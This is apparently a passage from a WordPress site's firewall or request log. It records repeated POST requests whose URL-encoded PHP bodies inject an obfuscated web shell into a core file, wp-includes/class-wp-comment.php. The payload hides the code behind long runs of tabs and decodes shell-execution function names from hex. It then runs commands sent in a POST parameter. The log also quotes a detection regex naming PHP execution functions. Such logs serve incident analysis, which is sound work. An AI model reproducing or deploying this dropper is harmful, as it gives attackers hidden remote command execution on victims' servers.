B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-length:8879\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nDS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:49","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8879\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nHJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
